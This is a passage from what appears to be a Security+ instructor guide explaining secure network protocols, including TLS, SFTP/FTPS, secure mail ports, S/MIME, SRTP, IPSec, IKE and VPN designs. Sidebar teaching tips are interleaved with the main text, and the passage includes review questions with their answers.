networks that require mutual authentication.

SSL/TLS Versions Teaching

Tip
While the acronym SSL is still used, the Transport Layer Security versions are the only
This Cloudflare blog
ones that are safe to use. A server can provide support for legacy clients, but obviously provides an excellent
this is less secure. For example, a TLS 1.2 server could be configured to allow clients to overview of the
downgrade to TLS 1.1 or 1.0 or even SSL 3.0 if they do not support TLS 1.2. problems with earlier
TLS versions for
A downgrade attack is where a man-in-the-middle tries to force the use of a weak cipher students who want
more detail: blog.
suite and SSL/TLS version.
cloudflare.com/rfc-
8446-aka-tls-1-3.

TLS version 1.3 was approved in 2018. One of the main features of TLS 1.3 is the
removal of the ability to perform downgrade attacks by preventing the use of unsecure
features and algorithms from previous versions. There are also changes to the
handshake protocol to reduce the number of messages and speed up connections.

Cipher Suites
A cipher suite is the algorithms supported by both the client and server to perform the
different encryption and hashing operations required by the protocol. Prior to TLS 1.3,
a cipher suite would be written in the following form:
ECDHE-RSA-AES128-GCM-SHA256
This means that the server can use Elliptic Curve Diffie-Hellman Ephemeral mode for
session key agreement, RSA signatures, 128-bit AES-GCM (Galois Counter Mode) for
symmetric bulk encryption, and 256-bit SHA for HMAC functions. Suites the server
prefers are listed earlier in its supported cipher list.
TLS 1.3 uses simplified and shortened suites. A typical TLS 1.3 cipher suite appears
as follows:
TLS_AES_256_GCM_SHA384
Only ephemeral key agreement is supported in 1.3 and the signature type is supplied
in the certificate, so the cipher suite only lists the bulk encryption key strength and
mode of operation (AES_256_GCM), plus the cryptographic hash algorithm (SHA394)
used within the new hash key derivation function (HKDF). HKDF is the mechanism by
which the shared secret established by D-H key agreement is used to derive symmetric
session keys.

Lesson 11: Implementing Secure Network Protocols | Topic 11B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 294 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Teaching
Tip
Students may question
why the version field
reads TLS 1.2. This
field is prone to a
compatibility problem
when servers cannot
identify a new version.
As a workaround,
servers supporting
TLS 1.3 should use the
supported_versions
extension instead.

Viewing the TLS handshake in a Wireshark packet capture. Note that the connection is using TLS 1.3
and one of the shortened cipher suites (TLS_AES_256_GCM_SHA384).

Show Slide(s) API Considerations

API Considerations
HTTP is now used less to serve static web pages, and more to create web applications,
often as part of a cloud product. An enterprise might use both public web applications
Teaching over the Internet and private ones. The primary means of configuring and managing a
Tip web application is via its application programming interface (API). For example, an
application might allow a user account to be created via a URL:
Help students to
recognize code https://example.foo/api/users?api_key=123456
samples for when
an API is being The developer uses the POST method to submit data to the URL with the required
used and stress the parameters coded into the request body, often in JavaScript Object Notation (JSON).
importance of secrets
management. We will POST /api/users HTTP/1.1
revisit this topic in the
lesson on cloud. Content-Type: application/json
{
"user": {
   "name": "James",
   "email": "[email protected]"
}
}
Use of these APIs is authorized via a token or secret key. Effective management of
these API secrets is a key consideration in modern networks, as they have been widely
used to perpetrate various breaches and data thefts. For example, putting the key in

Lesson 11: Implementing Secure Network Protocols | Topic 11B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 295

the URL carries a severe risk of exposure. APIs can use more secure authentication
and authorization methods, such as SAML and OAuth, but these still come with
secrets management requirements. Another API consideration is that usage should be
monitored to ensure only authorized endpoints are making transactions.

Subscription Services Show Slide(s)

Employees may require access to all kinds of subscription services. Some examples Subscription Services
include:
• Market and financial intelligence and information.

• Security threat intelligence and information.

• Reference and training materials in various formats (ebook and video, for instance).

• Software applications and cloud services paid for by subscription rather than
permanent licenses.

Most of this sort of content will be delivered by a secure web site or cloud application.
It may be necessary to provision authentication mechanisms for enterprise single sign-
on (SSO) access to the services.
Another use of subscriptions is a web feed, where updated articles or news items
are pushed to the client or browser. Web feeds are based on either the Really Simple
Syndication (RSS) or Atom formats, both of which use XML to mark up each document
supplied by the feed. It is possible that such feeds may be vulnerable to XML injection
style attacks, allowing an attacker to show malicious links or even interact with the file
system (https://mikeknoop.com/lxml-xxe-exploit).

Subscription services may also describe the outsourcing of network and security
components and procedures. There may also be subscription use of enterprise cloud
applications, which may be mediated by an access broker.

File Transfer Services Show Slide(s)

There are many means of transferring files across networks. A network operating File Transfer Services
system can host shared folders and files, enabling them to be copied or accessed over
the local network or via remote access (over a VPN, for instance). Email and messaging Teaching
apps can send files as attachments. HTTP supports file download (and uploads via Tip
various scripting mechanisms). There are also peer-to-peer file sharing services. Make sure students
Despite the availability of these newer protocols and services, the file transfer protocol know the differences
(FTP) remains very popular because it is efficient and has wide cross-platform support. between FTP, FTPS,
and SFTP, including
File Transfer Protocol which ports are
associated with which
A File Transfer Protocol (FTP) server is typically configured with several public variant.
directories, hosting files, and user accounts. Most HTTP servers also function as FTP
servers, and FTP services, accounts, and directories may be installed and enabled
by default when you install a web server. FTP is more efficient compared to file
attachments or HTTP file transfer, but has no security mechanisms. All authentication
and data transfer are communicated as plain text, meaning that credentials can easily
be picked out of any intercepted FTP traffic.

You should check that users do not install unauthorized servers on their PCs (a rogue
server). For example, a version of IIS that includes HTTP, FTP, and SMTP servers is shipped
with client versions of Windows, though it is not installed by default.

Lesson 11: Implementing Secure Network Protocols | Topic 11B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 296 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

SSH FTP (SFTP) and FTP Over SSL (FTPS)

SSH FTP (SFTP) addresses the privacy and integrity issues of FTP by encrypting the
authentication and data transfer between client and server. In SFTP, a secure link
is created between the client and server using Secure Shell (SSH) over TCP port 22.
Ordinary FTP commands and data transfer can then be sent over the secure link
without risk of eavesdropping or man-in-the-middle attacks. This solution requires an
SSH server that supports SFTP and SFTP client software.
Another means of securing FTP is to use the connection security protocol SSL/TLS.
There are two means of doing this:
• Explicit TLS (FTPES)—use the AUTH TLS command to upgrade an unsecure
connection established over port 21 to a secure one. This protects authentication
credentials. The data connection for the actual file transfers can also be encrypted
(using the PROT command).

• Implicit TLS (FTPS)—negotiate an SSL/TLS tunnel before the exchange of any FTP
commands. This mode uses the secure port 990 for the control connection.

FTPS is tricky to configure when there are firewalls between the client and server.
Consequently, FTPES is usually the preferred method.

Show Slide(s) Email Services

Email Services
Email services use two types of protocols:
• The Simple Mail Transfer Protocol (SMTP) specifies how mail is sent from one
Teaching system to another.
Tip
Make sure students • A mailbox protocol stores messages for users and allows them to download them to
understand the client computers or manage them on the server.
difference between
mail transfer and
mailbox access.
Secure SMTP (SMTPS)
To deliver a message, the SMTP server of the sender discovers the IP address of the
recipient SMTP server using the domain name part of the email address. The SMTP
server for the domain is registered in DNS using a Mail Exchanger (MX) record.
SMTP communications can be secured using TLS. This works much like HTTPS with a
certificate on the SMTP server. There are two ways for SMTP to use TLS:
• STARTTLS—this is a command that upgrades an existing unsecure connection to use
TLS. This is also referred to as explicit TLS or opportunistic TLS.

• SMTPS—this establishes the secure connection before any SMTP commands (HELO,
for instance) are exchanged. This is also referred to as implicit TLS.

The STARTTLS method is generally more widely implemented than SMTPS. Typical
SMTP configurations use the following ports and secure services:
• Port 25—used for message relay (between SMTP servers or Message Transfer
Agents [MTA]). If security is required and supported by both servers, the STARTTLS
command can be used to set up the secure connection.

• Port 587—used by mail clients (Message Submission Agents [MSA]) to submit

messages for delivery by an SMTP server. Servers configured to support port 587
should use STARTTLS and require authentication before message submission.

• Port 465—some providers and mail clients use this port for message submission
over implicit TLS (SMTPS), though this usage is now deprecated by standards
documentation.

Lesson 11: Implementing Secure Network Protocols | Topic 11B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 297

Secure POP (POP3S)

The Post Office Protocol v3 (POP3) is a mailbox protocol designed to store the
messages delivered by SMTP on a server. When the client connects to the mailbox,
POP3 downloads the messages to the recipient's email client.

Show Slide(s)

Secure/Multipurpose
Internet Mail
Configuring mailbox access protocols on a server. Extensions

Teaching
A POP3 client application, such as Microsoft Outlook or Mozilla Thunderbird, Tip
establishes a TCP connection to the POP3 server over port 110. The user is
Stress the difference
authenticated (by username and password) and the contents of his or her mailbox between providing
are downloaded for processing on the local PC. POP3S is the secured version of the secure ports for
protocol, operating over TCP port 995 by default. accessing SMTP and
mailbox profiles with
Secure IMAP (IMAPS) the use of S/MIME to
authenticate senders
Compared to POP3, the Internet Message Access Protocol v4 (IMAP4) supports and encrypt messages.
permanent connections to a server and connecting multiple clients to the same You might also want
mailbox simultaneously. It also allows a client to manage mail folders on the server. to mention policy-
based encryption. This
Clients connect to IMAP over TCP port 143. They authenticate themselves then retrieve requires the use of
messages from the designated folders. As with other email protocols, the connection can S/MIME if there are
be secured by establishing an SSL/TLS tunnel. The default port for IMAPS is TCP port 993. matches to keywords
in a certain message.
If the recipient is
Secure/Multipurpose Internet Mail Extensions unknown/external
to the organization,
Connection security goes a long way toward preventing the compromise of email the message is held
accounts and the spoofing of email, but end-to-end encryption cannot usually be until a certificate has
guaranteed. Consequently, there is still a need for authentication and confidentiality been issued to them
to be applied on a per-message basis. One means of doing this is called Secure/ (knowledge.broadcom.
com/external/
Multipurpose Internet Mail Extensions (S/MIME). To use S/MIME, the user is issued a
article/169842/
digital certificate containing his or her public key, signed by a CA to establish its validity. define-a-policy-based-
The public key is a pair with a private key kept secret by the user. To establish the encryption-essenti.
exchange of secure emails, both users must be using S/MIME and exchange certificates: html).

Lesson 11: Implementing Secure Network Protocols | Topic 11B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 298 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

1. Alice sends Bob her digital certificate, containing her public key and validated
digital ID (an email address). She signs this message using her private key.
2. Bob uses the public key in the certificate to decode her signature and the
signature of the CA (or chain of CAs) validating her digital certificate and digital ID
and decides that he can trust Alice and her email address.
3. He responds with his digital certificate and public key and Alice, following the
same process, decides to trust Bob.
4. Both Alice and Bob now have one another's certificates in their trusted certificate
stores.
5. When Alice wants to send Bob a confidential message, she makes a hash of
the message and signs the hash using her private key. She then encrypts the
message, hash, and her public key using Bob's public key and sends a message to
Bob with this data as an S/MIME attachment.
6. Bob receives the message and decrypts the attachment using his private key.
He validates the signature and the integrity of the message by decrypting it with
Alice's public key and comparing her hash value with one he makes himself.

Show Slide(s) Voice and Video Services

Voice and Video
Voice over IP (VoIP), web conferencing, and video teleconferencing (VTC) solutions
Services have become standard methods for the provision of business communications. The
main challenges that these applications have in common is that they transfer real-time
Teaching data and must create point-to-point links between hosts on different networks.
Tip Implementing Internet telephony and video conferencing brings its own raft of security
This is a section where concerns. Each part of the communications media network infrastructure needs to be
hands-on activity is evaluated for threats and vulnerabilities. This includes protocols, servers, handsets,
difficult to implement,
so encourage students
and software. The protocols designed to support real-time services cover one or more
to read vendor of the following functions:
implementation
• Session control—used to establish, manage, and disestablish communications
guides.
sessions. They handle tasks such as user discovery (locating a user on the network),
Stress that encrypting
SIP only will not
availability advertising (whether a user is prepared to receive calls), negotiating session
encrypt the actual call parameters (such as use of audio/video), and session management and termination.
data.
• Data transport—handles the delivery of the actual video or voice information.

• Quality of Service (QoS)—provides information about the connection to a QoS

system, which in turn ensures that voice or video communications are free from
problems such as dropped packets, delay, or jitter.

The Session Initiation Protocol (SIP) is one of the most widely used session control
protocols. SIP endpoints are the end-user devices (also known as user-agents), such
as IP-enabled handsets or client and server web conference software. Each device,
conference, or telephony user is assigned a unique SIP address known as a SIP Uniform
Resource Indicator (URI), such as sip:[email protected]
SIP endpoints can establish communications directly in a peer-to-peer architecture,
but it is more typical to use intermediary servers and directory servers. A SIP network
may also use gateways and private branch exchange (PBX) appliances to provide an
interface between the VoIP network and external telephone and cellular networks.
While SIP provides session management features, the actual delivery of real-time data
uses different protocols. The principal one is Real-time Transport Protocol (RTP).
A threat actor could exploit unencrypted voice and video communications to try
to intercept passwords, credit card details, and so on. Without strong mutual
authentication, connections are also vulnerable to man-in-the-middle attacks.

Lesson 11: Implementing Secure Network Protocols | Topic 11B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 299

Enabling SIP/TLS security on a 3CX PBX VoIP softphone.

(Screenshot used with permission from 3CX.)

Connection security for voice and video works in a similar manner to HTTPS. To initiate
the call, the secure version SIPS uses digital certificates to authenticate the endpoints
and establish a TLS tunnel. Where unencrypted SIP typically runs over TCP port 5060,
SIPS uses TCP port 5061. The secure connection established by SIPS can also be used
to generate a master key to use with the secure versions of the transport protocol
(SRTP). SRTP provides confidentiality for the actual call data.

Enforcing RTP protocol encryption on a Mitel PBX system.

(Screenshot used with permission from Mitel.)

Lesson 11: Implementing Secure Network Protocols | Topic 11B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 300 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Review Activity:
Secure Application Protocols
Answer the following questions:

1. What type of attack against HTTPS aims to force the server to negotiate
weak ciphers?

A downgrade attack.

2. A client and server have agreed on the use of the cipher suite ECDHE-ECDSA-
AES256- GCM-SHA384 for a TLS session. What is the key strength of the
symmetric encryption algorithm?

256-bit (AES).

3. What security protocol does SFTP use to protect the connection and which
port does an SFTP server listen on by default?

Secure Shell (SSH) over TCP port 22.

4. Which port(s) and security methods should be used by a mail client to

submit messages for delivery by an SMTP server?

Port 587 with STARTTLS (explicit TLS) or port 465 with implicit TLS.

5. When using S/MIME, which key is used to encrypt a message?

The recipient's public key (principally). The public key is used to encrypt a symmetric
session key and (for performance reasons) the session key does the actual data
encoding. The session key and, therefore, the message text can then only be recovered
by the recipient, who uses the linked private key to decrypt it.

6. Which protocol protects the contents of a VoIP conversation from

eavesdropping?

Encrypted VoIP data is carried over the Secure Real-time Transport Protocol (SRTP).

Lesson 11: Implementing Secure Network Protocols | Topic 11B

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 301

Topic 11C
Implement Secure Remote
Access Protocols

EXAM OBJECTIVES COVERED Teaching

3.1 Given a scenario, implement secure protocols Tip
3.3 Given a scenario, implement secure network designs Students can find VPN
4.1 Given a scenario, use the appropriate tool to assess organizational security (SSH only) and IPSec concepts
challenging, so
allocate plenty of time
With today's mobile workforce, most networks have to support connections by remote to this topic.
employees, contractors, and customers to their network resources. These remote
connections often make use of untrusted public networks, such as the Internet.
Consequently, understanding how to implement secure remote access protocols will
be a major part of your job as an information security professional.
There are also many cases where a user needs to remotely access an individual host.
This is most commonly implemented to allow administrators to perform remote
management of workstations, servers, and network appliances, but it can also be used
to provide ordinary users access to a desktop as well.

Remote Access Architecture Show Slide(s)

Remote access means that the user's device does not make a direct cabled or wireless Remote Access
connection to the network. The connection occurs over or through an intermediate Architecture (2)
network. Historically, remote access might have used analog modems connecting over
the telephone system or possibly a private link (a leased line). These days, most remote Teaching
access is implemented as a virtual private network (VPN), running over the Internet. Tip
Administering remote access involves essentially the same tasks as administering According to some
the local network. Only authorized users should be allowed access to local network definitions, a VPN
resources and communication channels. Additional complexity comes about because need not be secure.
it can be more difficult to ensure the security of remote workstations and servers and However, this is
what most people
there is greater opportunity for remote logins to be exploited. understand as a VPN
With a remote access VPN, clients connect to a VPN gateway on the edge of the private these days.
network. This is the "telecommuter" model, allowing home-workers and employees
working in the field to connect to the corporate network. The VPN protocol establishes
a secure tunnel so that the contents are kept private, even when the packets pass over
ISPs' routers.

Lesson 11: Implementing Secure Network Protocols | Topic 11C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 302 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Remote access VPN. (Images © 123RF.com.)

A VPN can also be deployed in a site-to-site model to connect two or more private
networks. Where remote access VPN connections are typically initiated by the client, a
site-to-site VPN is configured to operate automatically. The gateways exchange security
information using whichever protocol the VPN is based on. This establishes a trust
relationship between the gateways and sets up a secure connection through which
to tunnel data. Hosts at each site do not need to be configured with any information
about the VPN. The routing infrastructure at each site determines whether to deliver
traffic locally or send it over the VPN tunnel.

Site-to-site VPN. (Images © 123RF.com.)

Lesson 11: Implementing Secure Network Protocols | Topic 11C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 303

Transport Layer Security VPN Show Slide(s)

Several VPN protocols have been used over the years. Legacy protocols such as the Transport Layer
Point-to-Point Tunneling Protocol (PPTP) have been deprecated because they do not Security VPN
offer adequate security. Transport Layer Security (TLS) and IPSec are now the preferred
options for configuring VPN access. Teaching
Tip
Explain that the
important point
about modern
VPNs is to hide
any authentication
information from
eavesdroppers.
Protocols such as
PPTP do not protect
the hash exchanged
during the CHAP/
MSCHAP handshake,
making the connection
extremely vulnerable
to offline cracking
attempts.

Configuring an OpenVPN server in the pfSense security appliance.

(Screenshot used with permission from Rubicon Communications, LLC.)

A TLS VPN (still more commonly referred to as an SSL VPN) requires a remote access
server listening on port 443 (or any arbitrary port number). The client makes a
connection to the server using TLS so that the server is authenticated to the client (and
optionally the client's certificate must be authenticated by the server). This creates
an encrypted tunnel for the user to submit authentication credentials, which would
normally be processed by a RADIUS server. Once the user is authenticated and the
connection fully established, the VPN gateway tunnels all communications for the local
network over the secure socket.

Lesson 11: Implementing Secure Network Protocols | Topic 11C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 304 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Configuring a client certificate for mutual authentication in the pfSense security appliance.
(Screenshot used with permission from Rubicon Communications, LLC.)

The port can be either TCP or UDP. UDP might be chosen for marginally superior
performance, especially when tunneling latency-sensitive traffic such as voice or video. TCP
Show Slide(s) might be easier to use with a default firewall policy. TLS over UDP is also referred to as
Datagram TLS (DTLS).

Internet Protocol
Security
OpenVPN is an open source example of a TLS VPN (openvpn.net). OpenVPN can work
in TAP (bridged) mode to tunnel layer 2 frames or in TUN (routed) mode to forward
Teaching
IP packets. Another option is Microsoft's Secure Sockets Tunneling Protocol (SSTP),
Tip
which works by tunneling Point-to-Point Protocol (PPP) layer 2 frames over a TLS
Point out that IPSec
session (docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sstp/70adc1df-
is an integral part of
IPv6. Its use with IPv4 c4fe-4b02-8872-f1d8b9ad806a). The Point-to-Point Protocol (PPP) is a widely
is a stop-gap until used remote dial-in protocol. It provides encapsulation for IP traffic plus IP address
Internet infrastructure assignment and authentication via the widely supported Challenge Handshake
finally switches over Authentication Protocol (CHAP).
to IPv6 ("the world's
largest software
upgrade"). Internet Protocol Security
Note that AH provides
only authentication Transport Layer Security is applied at the application level, either by using a separate
and integrity, not secure port or by using commands in the application protocol to negotiate a secure
confidentiality. connection. Internet Protocol Security (IPSec) operates at the network layer (layer
Note also that only 3) of the OSI model, so it can be implemented without having to configure specific
immutable fields in
application support. IPSec can provide both confidentiality (by encrypting data packets)
the IP header are used
in the ICV. The TTL and integrity/anti-replay (by signing each packet). The main drawback is that it adds
field is excluded, for overhead to data communications. IPSec can be used to secure communications on
instance. local networks and as a remote access protocol.

Lesson 11: Implementing Secure Network Protocols | Topic 11C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 305

When IPv6 was being drafted, IPSec was considered a mandatory component as it was
felt that all traffic over the new protocol should be secure. In recent years, RFCs have been
revised so that now, IPSec is recommended for IPv6 but no longer mandatory (tools.ietf.org/
html/rfc6434#page-17).

Each host that uses IPSec must be assigned a policy. An IPSec policy sets the
authentication mechanism and also the protocols and mode for the connection. Hosts
must be able to match at least one matching security method for a connection to
be established. There are two core protocols in IPSec, which can be applied singly or
together, depending on the policy.

Authentication Header (AH)

The Authentication Header (AH) protocol performs a cryptographic hash on the
whole packet, including the IP header, plus a shared secret key (known only to the
communicating hosts), and adds this HMAC in its header as an Integrity Check Value
(ICV). The recipient performs the same function on the packet and key and should
derive the same value to confirm that the packet has not been modified. The payload is
not encrypted so this protocol does not provide confidentiality. Also, the inclusion of IP
header fields in the ICV means that the check will fail across NAT gateways, where the
IP address is rewritten. Consequently, AH is not often used.

IPSec datagram using AH—The integrity of the payload and IP header is ensured by the
Integrity Check Value (ICV), but the payload is not encrypted.

Encapsulation Security Payload (ESP)

Encapsulation Security Payload (ESP) provides confidentiality and/or authentication
and integrity. It can be used to encrypt the packet rather than simply calculating an
HMAC. ESP attaches three fields to the packet: a header, a trailer (providing padding for
the cryptographic function), and an Integrity Check Value. Unlike AH, ESP excludes the
IP header when calculating the ICV.

IPSec datagram using ESP—The TCP header and payload from the original packet are
encapsulated within ESP and encrypted to provide confidentiality.

With ESP, algorithms for both confidentiality (symmetric cipher) and authentication/integrity
(hash function) are usually applied together. It is possible to use one or the other, however.

Lesson 11: Implementing Secure Network Protocols | Topic 11C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 306 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) IPSec Transport and Tunnel Modes

IPSec Transport and
IPSec can be used in two modes:
Tunnel Modes • Transport mode—this mode is used to secure communications between hosts on a
private network (an end-to-end implementation). When ESP is applied in transport
Teaching
mode, the IP header for each packet is not encrypted, just the payload data. If AH is
Tip
used in transport mode, it can provide integrity for the IP header.
Make sure students
are clear about the
uses of transport and
tunnel mode and the
role of ESP and AH in
either.

IPSec datagram using AH and ESP in transport mode.

• Tunnel mode—this mode is used for communications between VPN gateways

across an unsecure network (creating a VPN). This is also referred to as a router
implementation. With ESP, the whole IP packet (header and payload) is encrypted
and encapsulated as a datagram with a new IP header. AH has no real use case in
tunnel mode, as confidentiality will usually be required.

IPSec datagram using ESP in tunnel mode.

Configuring an IPSec tunnel with ESP encryption in the pfSense security appliance.
(Screenshot used with permission from Rubicon Communications, LLC.)

Lesson 11: Implementing Secure Network Protocols | Topic 11C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 307

The principles underlying IPSec are the same for IPv4 and IPv6, but the header formats
are different. IPSec makes use of extension headers in IPv6 while in IPv4, ESP and AH are
allocated new IP protocol numbers (50 and 51), and either modify the original IP header or
encapsulate the original packet, depending on whether transport or tunnel mode is used.

Internet Key Exchange Show Slide(s)

IPSec's encryption and hashing functions depend on a shared secret. The secret Internet Key Exchange
must be communicated to both hosts and the hosts must confirm one another's
identity (mutual authentication). Otherwise, the connection is vulnerable to man-in- Teaching
the-middle and spoofing attacks. The Internet Key Exchange (IKE) protocol handles Tip
authentication and key exchange, referred to as Security Associations (SA). Explain how IKE
provides a connection
and authentication
mechanism for IPSec.

Configuring IKE in the pfSense security appliance. (Screenshot used with

permission from Rubicon Communications, LLC.)

IKE negotiations take place over two phases:

1. Phase I establishes the identity of the two hosts and performs key agreement
using the Diffie-Hellman algorithm to create a secure channel. Two methods of
authenticating hosts are commonly used:

• Digital certificates—the hosts use certificates issued by a mutually trusted

certificate authority to identify one another.

• Pre-shared key (group authentication)—the same passphrase is configured on

both hosts.

2. Phase II uses the secure channel created in Phase 1 to establish which ciphers
and key sizes will be used with AH and/or ESP in the IPSec session.

Lesson 11: Implementing Secure Network Protocols | Topic 11C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 308 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Layer 2 Tunneling Protocol and IKE v2

Layer 2 Tunneling
This first version of IKE is optimized to ensure the mutual authentication of two peer
Protocol and IKE v2 hosts, such as in a site-to-site VPN. On its own, it does not provide a simple means for
a client user account to authenticate to a remote network directory. Consequently,
Teaching for remote access VPNs, a combination of IPSec with the Layer 2 Tunneling Protocol
Tip (L2TP) VPN protocol is often used.
Note that the first
version of IKE was Layer 2 Tunneling Protocol/IPSec VPN
relatively difficult
to configure as a A L2TP/IPSec VPN would typically operate as follows:
client authentication
mechanism for
1. The client and VPN gateway set up a secure IPSec channel over the Internet, using
Windows hosts, so either a pre-shared key or certificates for IKE.
the combination of
L2TP and IPSec was
2. The VPN gateway uses L2TP to set up a tunnel to exchange local network data
commonly used. encapsulated as Point-to-Point Protocol (PPP) frames. This double encapsulation
Make sure students of traffic is the main drawback, as it adds overhead.
understand why CHAP
cannot be used with 3. The user authenticates over the PPP session using EAP or CHAP.
a secure tunnel (and
consequently why IKE v2
PPTP is now defunct).
IKE v2 is now better The drawbacks of the original version of IKE were addressed by an updated protocol.
supported. IKE v2 has some additional features that have made the protocol popular for use as a
standalone remote access VPN solution. The main changes are:
• Support for EAP authentication methods, allowing, for example, user authentication
against a RADIUS server.
• Simplified connection set up—IKE v2 specifies a single 4-message setup mode,
reducing bandwidth without compromising security.
• Reliability—IKE v2 allows NAT traversal and MOBIKE multihoming. Multihoming
means that a client such as a smartphone with multiple interfaces (such as Wi-Fi and
cellular) can keep the IPSec connection alive when switching between them.

Compared to L2TP/IPSec, using IKE v2 is more efficient. This solution is becoming much
better supported, with native support in Windows 10, for instance.

Show Slide(s) VPN Client Configuration

VPN Client
To configure a VPN client, you may need to install the client software if the VPN type is
Configuration not natively supported by the OS. For example, OpenVPN requires client installation.
You then configure the client with the address of the VPN gateway, the VPN protocol
Teaching type (if it cannot autodetect it), the username, and the account credentials. You may
Tip also need to deploy a client certificate that is trusted by the VPN concentrator to the
Note that Windows machine and make that available to the VPN client. In addition, you might need to
10 has native support configure settings for how the VPN connection operates.
for IKE v2, L2TP/
IPSec, SSTP, and PPTP Always-On VPN
(though no one should
be using PPTP at this Traditional remote access VPN solutions require the user to initiate the connection and
point). enter their authentication credentials. An always-on VPN means that the computer
establishes the VPN whenever an Internet connection over a trusted network is
detected, using the user's cached credentials to authenticate. Microsoft has an Always-
On VPN solution for Windows Server and Windows 10 clients (docs.microsoft.com/
en-us/windows-server/remote/remote-access/vpn/always-on-vpn/deploy/always-on-
vpn-deploy-deployment) and an OpenVPN client can be configured to autoconnect
(openvpn.net/vpn-server-resources/setting-your-client-to-automatically-connect-to-
your-vpn-when-your-computer-starts).

Lesson 11: Implementing Secure Network Protocols | Topic 11C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 The Official CompTIA Security+ Instructor Guide (Exam SY0-601) | 309

Split Tunnel versus Full Tunnel

When a client connected to a remote access VPN tries to access other sites on the
Internet, there are two ways to manage the connection:
• Split tunnel—the client accesses the Internet directly using its "native" IP
configuration and DNS servers.

Split tunnel VPN traffic flow. (Images © 123RF.com.)

• Full tunnel—Internet access is mediated by the corporate network, which will alter
the client's IP address and DNS servers and may use a proxy.

Full tunnel offers better security, but the network address translations and DNS
operations required may cause problems with some websites, especially cloud
services. It also means more data is channeled over the link.

Full tunnel VPN traffic flow. (Images © 123RF.com.)

Lesson 11: Implementing Secure Network Protocols | Topic 11C

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 310 | The Official CompTIA Security+ Instructor Guide (Exam SY0-601)

Show Slide(s) Remote Desktop

Remote Desktop A remote access VPN joins the user's PC or smartphone to the local network, via the
secure tunnel. Another model for remote networking involves connecting to a host
Teaching within the local network over a remote administration protocol. A protocol such as
Tip Secure Shell (SSH) only supports terminal access, but there are many other tools that
RDP gateways/ can connect to a graphical desktop. A GUI remote administration tool sends screen and
HTML5/clientless are audio data from the remote host to the client and transfers mouse and keyboard input
not VPN solutions from the client to the remote host.
in the traditional
sense. Rather than Microsoft's Remote Desktop Protocol (RDP) can be used to access a physical machine
connecting a remote on a one-to-one basis. Alternatively, the site can operate a remote desktop gateway
client to a local that facilitates access to virtual desktops or individual apps running on the network
network, they provide servers (docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/
access to a real or
virtual desktop or
welcome-to-rds). There are several popular alternatives to Remote Desktop. Most
app within the local support remote access to platforms other than Windows (macOS and iOS, Linux,
network. Rather than Chrome OS, and Android for instance). Examples include TeamViewer (teamviewer.
tunneling all network com/en) and Virtual Network Computing (VNC), which is implemented by several
traffic from a remote different providers (notably realvnc.com/en).
client, they just tunnel
the HID traffic in and Traditionally, these remote desktop products require a client app. The canvas element
the audio/video out. introduced in HTML5 allows a browser to draw and update a desktop with relatively
little lag. It can also handle audio. This is referred to as an HTML5 VPN or as a clientless
remote desktop gateway (guacamole.apache.org). This solution also uses a protocol
called WebSockets, which enables bidirectional messages to be sent between the
server and client without requiring the overhead of separate HTTP requests.

Show Slide(s) Out-of-Band Management and Jump Servers

Out-of-Band
Remote access management refers to the specific use case of using a secure channel to
Management and administer a network appliance or server. The secure admin workstations (SAWs) used
Jump Servers to perform management functions must be tightly locked down, ideally installed with
no software other than that required to access the administrative channel—minimal
Teaching web browser, remote desktop client, or SSH virtual terminal, for instance. SAWs should
Tip be denied Internet access or be restricted to a handful of approved vendor sites (for
You might want to patches, drivers, and support). The devices must also be subject to stringent access
point out another use control and auditing so that any misuse is detected at the earliest opportunity.
case for jump servers
to provide multiple Out-of-Band Management
hops through to
backend servers in the Remote management methods can be described as either in-band or out-of-
cloud. band (OOB). An in-band management link is one that shares traffic with other
communications on the "production" network. A serial console or modem port on a
router is a physically out-of-band management method. When using a browser-based
management interface or a virtual terminal over Ethernet and IP, the link can be
made out-of-band by connecting the port used for management access to physically
separate network infrastructure. This can be costly to implement, but out-of-band
management is more secure and means that access to the device is preserved when
there are problems affecting the production network. With an in-band connection,
better security can be implemented by using a VLAN to isolate management traffic.
This makes it harder for potential eavesdroppers to view or modify traffic passing over
